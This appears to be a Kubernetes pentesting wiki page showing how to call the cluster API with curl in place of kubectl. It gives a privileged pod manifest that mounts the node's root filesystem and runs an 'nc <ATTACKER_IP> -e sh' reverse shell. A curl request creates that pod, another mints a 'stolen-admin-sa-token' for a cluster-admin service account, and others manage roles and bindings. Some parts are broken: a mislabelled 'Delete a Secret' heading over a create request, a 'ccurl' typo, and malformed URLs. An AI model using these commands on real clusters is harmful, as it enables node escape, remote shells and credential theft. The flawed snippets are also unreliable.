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## Interacting with the cluster without using kubectl

Seeing that Kubernetes control plane exposes a REST-ful API, you can hand-craft HTTP requests and send them with other tools, such as **curl** or **wget**.

### Escaping from the pod

If you are able to create new pods you might be able to escape from them to the node. In order to do so you need to create a new pod using a yaml file, switch to the created pod and then chroot into the node's system. You can use already existing pods as reference for the yaml file since they display existing images and pathes.
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Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)

### Creating a privileged pod

The corresponding yaml file is as follows:

```yaml
apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: alpine
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
volumes:
- name: noderoot
hostPath:
path: /
```

Create the pod with curl:

```bash
CONTROL_PLANE_HOST=""
TOKEN=""

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 478' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```

### Delete a pod

Delete a pod with curl:

```bash
CONTROL_PLANE_HOST=""
TOKEN=""
POD_NAME="everything-allowed-exec-pod"

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
```

### Create a Service Account

```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"


curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Length: 109' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```


### Delete a Service Account

```bash
CONTROL_PLANE_HOST=""
TOKEN=""
SA_NAME=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
```


### Create a Role

```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"


curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 203' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```


### Delete a Role

```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_NAME=""

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
```


### Create a Role Binding


```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 816' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```

### Delete a Role Binding

```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_BINDING_NAME=""

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
```

### Delete a Secret

```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 219' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```

### Delete a Secret

```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
SECRET_NAME=""

ccurl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"
```



## References

{{#ref}}
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